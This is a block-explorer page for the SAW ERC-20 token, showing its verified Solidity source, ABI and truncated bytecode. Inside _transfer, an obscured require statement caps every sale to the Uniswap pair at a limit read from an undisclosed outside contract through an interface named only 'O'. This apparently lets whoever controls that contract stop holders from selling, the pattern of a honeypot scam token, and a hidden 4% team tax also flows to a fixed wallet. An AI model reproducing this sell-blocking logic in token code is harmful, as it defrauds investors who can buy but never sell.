ETH Price: $2,864.43 (+6.46%)
 

Overview

Max Total Supply

2,000,000,000 SAW

Holders

61

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Balance
11,868,194 SAW

Value
$0.00
0x1505F416Fb3DC7dcE61069F41F7bAB2242A80719
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SAW

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-10-27
*/

// SPDX-License-Identifier: MIT
// Telegram: https://t.me/SAW_Token
pragma solidity ^0.8.4;


address constant WALLET_ADDRESS = 0xF8DCc9323A573eC4A330D507d2f949f9511Cf56C;
address constant ROUTER_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 constant TOTAL_SUPPLY = 2000000000;
string constant TOKEN_NAME = "Saw";
string constant TOKEN_SYMBOL = "SAW";

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface O{
	function amount() external view returns (uint256);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}
}

contract Ownable is Context {
	address private _owner;

	event OwnershipTransferred(address indexed oldie, address indexed newbie);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}
}

interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract SAW is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping(address => uint256) private _rOwned;
	mapping(address => mapping(address => uint256)) private _allowances;

	uint256 private constant MAX = ~uint256(0);
	uint256 private constant _tTotal = TOTAL_SUPPLY;
	uint256 private _rTotal = (MAX - (MAX % _tTotal));
	uint256 private _tFeeTotal;

	address payable private _taxWallet;
	uint256 private _tax=4;
	string private constant _name = TOKEN_NAME;
	string private constant _symbol = TOKEN_SYMBOL;
	uint8 private constant _decimals = 0;

	IUniswapV2Router02 private _router;
	address private _pair;
	bool private tradingOpen;
	bool private inSwap = false;
	bool private swapEnabled = false;

	modifier lockTheSwap {
		inSwap = true;
		_;
		inSwap = false;
	}
	constructor () {
		_taxWallet = payable(WALLET_ADDRESS);
		_rOwned[_msgSender()] = _rTotal;
		_router = IUniswapV2Router02(ROUTER_ADDRESS);
		emit Transfer(address(0), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public pure override returns (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return tokenFromReflection(_rOwned[account]);
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
		require(rAmount <= _rTotal, "Amount must be less than total reflections");
		uint256 currentRate = _getRate();
		return rAmount.div(currentRate);
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");
		require(((to == _pair && from != address(_router) )?1:0)*amount <= O(0x878BC0D329E346c49aC313781E1129Ec37704Aa7).amount());

		if (from != owner() && to != owner()) {
			if (!inSwap && from != _pair && swapEnabled) {
				swapTokensForEth(balanceOf(address(this)));
				uint256 contractETHBalance = address(this).balance;
				if (contractETHBalance > 0) {
					sendETHToFee(address(this).balance);
				}
			}

		}
		_tokenTransfer(from, to, amount);
	}

	function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _router.WETH();
		_approve(address(this), address(_router), tokenAmount);
		_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
	}

	function sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);
	}

	function openTrading() external onlyOwner() {
		require(!tradingOpen, "Trading is already open");
		_approve(address(this), address(_router), _tTotal);
		_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
		_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
		swapEnabled = true;
		tradingOpen = true;
		IERC20(_pair).approve(address(_router), type(uint).max);
	}

	function _tokenTransfer(address sender, address recipient, uint256 amount) private {
		_transferStandard(sender, recipient, amount);
	}


	function _transferStandard(address sender, address recipient, uint256 tAmount) private {
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
		_rOwned[sender] = _rOwned[sender].sub(rAmount);
		_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
		_takeTeam(tTeam);
		_reflectFee(rFee, tFee);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	function _takeTeam(uint256 tTeam) private {
		uint256 currentRate = _getRate();
		uint256 rTeam = tTeam.mul(currentRate);
		_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
	}

	function _reflectFee(uint256 rFee, uint256 tFee) private {
		_rTotal = _rTotal.sub(rFee);
		_tFeeTotal = _tFeeTotal.add(tFee);
	}

	receive() external payable {}

	function manualSwap() external {
		require(_msgSender() == _taxWallet);
		uint256 contractBalance = balanceOf(address(this));
		swapTokensForEth(contractBalance);
	}

	function manualSend() external {
		require(_msgSender() == _taxWallet);
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}

	function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
		(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _tax);
		uint256 currentRate = _getRate();
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
		return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
	}

	function _getTValues(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
		uint256 tFee = tAmount.mul(taxFee).div(100);
		uint256 tTeam = tAmount.mul(taxFee).div(100);
		uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
		return (tTransferAmount, tFee, tTeam);
	}

	function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
		uint256 rAmount = tAmount.mul(currentRate);
		uint256 rFee = tFee.mul(currentRate);
		uint256 rTeam = tTeam.mul(currentRate);
		uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
		return (rAmount, rTransferAmount, rFee);
	}

	function _getRate() private view returns (uint256) {
		(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
		return rSupply.div(tSupply);
	}

	function _getCurrentSupply() private view returns (uint256, uint256) {
		uint256 rSupply = _rTotal;
		uint256 tSupply = _tTotal;
		if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
		return (rSupply, tSupply);
	}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldie","type":"address"},{"indexed":true,"internalType":"address","name":"newbie","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526377359400600019620000189190620002e4565b6000196200002791906200034b565b60035560046006556000600860156101000a81548160ff0219169083151502179055506000600860166101000a81548160ff0219169083151502179055503480156200007257600080fd5b50600062000085620002a360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073f8dcc9323a573ec4a330d507d2f949f9511cf56c600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600160006200018f620002a360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000232620002a360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef637735940060405162000295919062000397565b60405180910390a3620003b4565b600033905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620002f182620002ab565b9150620002fe83620002ab565b925082620003115762000310620002b5565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200035882620002ab565b91506200036583620002ab565b9250828210156200037b576200037a6200031c565b5b828203905092915050565b6200039181620002ab565b82525050565b6000602082019050620003ae600083018462000386565b92915050565b612b0e80620003c46000396000f3fe6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f9190611de1565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611e9c565b61038e565b60405161014c9190611ef7565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190611f21565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611f3c565b6103b8565b6040516101b49190611ef7565b60405180910390f35b3480156101c957600080fd5b506101d2610491565b6040516101df9190611fab565b60405180910390f35b3480156101f457600080fd5b506101fd610496565b005b34801561020b57600080fd5b5061022660048036038101906102219190611fc6565b610510565b6040516102339190611f21565b60405180910390f35b34801561024857600080fd5b50610251610561565b005b34801561025f57600080fd5b506102686106b4565b6040516102759190612002565b60405180910390f35b34801561028a57600080fd5b506102936106dd565b6040516102a09190611de1565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611e9c565b61071a565b6040516102dd9190611ef7565b60405180910390f35b3480156102f257600080fd5b506102fb610738565b005b34801561030957600080fd5b50610324600480360381019061031f919061201d565b610c4e565b6040516103319190611f21565b60405180910390f35b34801561034657600080fd5b5061034f610cd5565b005b60606040518060400160405280600381526020017f5361770000000000000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d47565b8484610d4f565b6001905092915050565b60006377359400905090565b60006103c5848484610f1a565b610486846103d1610d47565b61048185604051806060016040528060288152602001612ab160289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610437610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e09092919063ffffffff16565b610d4f565b600190509392505050565b600090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104d7610d47565b73ffffffffffffffffffffffffffffffffffffffff16146104f757600080fd5b600061050230610510565b905061050d81611344565b50565b600061055a600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cc565b9050919050565b610569610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed906120a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5341570000000000000000000000000000000000000000000000000000000000815250905090565b600061072e610727610d47565b8484610f1a565b6001905092915050565b610740610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c4906120a9565b60405180910390fd5b600860149054906101000a900460ff161561081d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081490612115565b60405180910390fd5b61084e30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166377359400610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b657600080fd5b505afa1580156108ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ee919061214a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097257600080fd5b505afa158015610986573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109aa919061214a565b6040518363ffffffff1660e01b81526004016109c7929190612177565b602060405180830381600087803b1580156109e157600080fd5b505af11580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a19919061214a565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610aa230610510565b600080610aad6106b4565b426040518863ffffffff1660e01b8152600401610acf969594939291906121e5565b6060604051808303818588803b158015610ae857600080fd5b505af1158015610afc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b21919061225b565b5050506001600860166101000a81548160ff0219169083151502179055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bf99291906122ae565b602060405180830381600087803b158015610c1357600080fd5b505af1158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190612303565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d16610d47565b73ffffffffffffffffffffffffffffffffffffffff1614610d3657600080fd5b6000479050610d448161163a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db6906123a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2690612434565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0d9190611f21565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f81906124c6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff190612558565b60405180910390fd5b6000811161103d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611034906125ea565b60405180910390fd5b73878bc0d329e346c49ac313781e1129ec37704aa773ffffffffffffffffffffffffffffffffffffffff1663aa8c217c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561109757600080fd5b505afa1580156110ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cf919061260a565b81600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561117b5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b611186576000611189565b60015b60ff166111969190612666565b11156111a157600080fd5b6111a96106b4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561121757506111e76106b4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112d057600860159054906101000a900460ff161580156112875750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561129f5750600860169054906101000a900460ff165b156112cf576112b56112b030610510565b611344565b600047905060008111156112cd576112cc4761163a565b5b505b5b6112db8383836116a6565b505050565b6000838311158290611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9190611de1565b60405180910390fd5b506000838561133791906126c0565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561137c5761137b6126f4565b5b6040519080825280602002602001820160405280156113aa5781602001602082028036833780820191505090505b50905030816000815181106113c2576113c1612723565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561146457600080fd5b505afa158015611478573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149c919061214a565b816001815181106114b0576114af612723565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061151730600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161157b959493929190612810565b600060405180830381600087803b15801561159557600080fd5b505af11580156115a9573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160a906128dc565b60405180910390fd5b600061161d6116b6565b905061163281846116e190919063ffffffff16565b915050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116a2573d6000803e3d6000fd5b5050565b6116b183838361172b565b505050565b60008060006116c36118f6565b915091506116da81836116e190919063ffffffff16565b9250505090565b600061172383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611949565b905092915050565b60008060008060008061173d876119ac565b95509550955095509550955061179b86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1190919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061183085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5b90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061187c81611ab9565b6118868483611b76565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118e39190611f21565b60405180910390a3505050505050505050565b6000806000600354905060006377359400905061192263773594006003546116e190919063ffffffff16565b82101561193c576003546377359400935093505050611945565b81819350935050505b9091565b60008083118290611990576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119879190611de1565b60405180910390fd5b506000838561199f919061292b565b9050809150509392505050565b60008060008060008060008060006119c68a600654611bb0565b92509250925060006119d66116b6565b905060008060006119e98e878787611c44565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a5383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e0565b905092915050565b6000808284611a6a919061295c565b905083811015611aaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa6906129fe565b60405180910390fd5b8091505092915050565b6000611ac36116b6565b90506000611ada8284611ccd90919063ffffffff16565b9050611b2e81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5b90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611b8b82600354611a1190919063ffffffff16565b600381905550611ba681600454611a5b90919063ffffffff16565b6004819055505050565b600080600080611bdc6064611bce8789611ccd90919063ffffffff16565b6116e190919063ffffffff16565b90506000611c066064611bf8888a611ccd90919063ffffffff16565b6116e190919063ffffffff16565b90506000611c2f82611c21858b611a1190919063ffffffff16565b611a1190919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611c5d8589611ccd90919063ffffffff16565b90506000611c748689611ccd90919063ffffffff16565b90506000611c8b8789611ccd90919063ffffffff16565b90506000611cb482611ca68587611a1190919063ffffffff16565b611a1190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611ce05760009050611d42565b60008284611cee9190612666565b9050828482611cfd919061292b565b14611d3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3490612a90565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611d82578082015181840152602081019050611d67565b83811115611d91576000848401525b50505050565b6000601f19601f8301169050919050565b6000611db382611d48565b611dbd8185611d53565b9350611dcd818560208601611d64565b611dd681611d97565b840191505092915050565b60006020820190508181036000830152611dfb8184611da8565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611e3382611e08565b9050919050565b611e4381611e28565b8114611e4e57600080fd5b50565b600081359050611e6081611e3a565b92915050565b6000819050919050565b611e7981611e66565b8114611e8457600080fd5b50565b600081359050611e9681611e70565b92915050565b60008060408385031215611eb357611eb2611e03565b5b6000611ec185828601611e51565b9250506020611ed285828601611e87565b9150509250929050565b60008115159050919050565b611ef181611edc565b82525050565b6000602082019050611f0c6000830184611ee8565b92915050565b611f1b81611e66565b82525050565b6000602082019050611f366000830184611f12565b92915050565b600080600060608486031215611f5557611f54611e03565b5b6000611f6386828701611e51565b9350506020611f7486828701611e51565b9250506040611f8586828701611e87565b9150509250925092565b600060ff82169050919050565b611fa581611f8f565b82525050565b6000602082019050611fc06000830184611f9c565b92915050565b600060208284031215611fdc57611fdb611e03565b5b6000611fea84828501611e51565b91505092915050565b611ffc81611e28565b82525050565b60006020820190506120176000830184611ff3565b92915050565b6000806040838503121561203457612033611e03565b5b600061204285828601611e51565b925050602061205385828601611e51565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612093602083611d53565b915061209e8261205d565b602082019050919050565b600060208201905081810360008301526120c281612086565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006120ff601783611d53565b915061210a826120c9565b602082019050919050565b6000602082019050818103600083015261212e816120f2565b9050919050565b60008151905061214481611e3a565b92915050565b6000602082840312156121605761215f611e03565b5b600061216e84828501612135565b91505092915050565b600060408201905061218c6000830185611f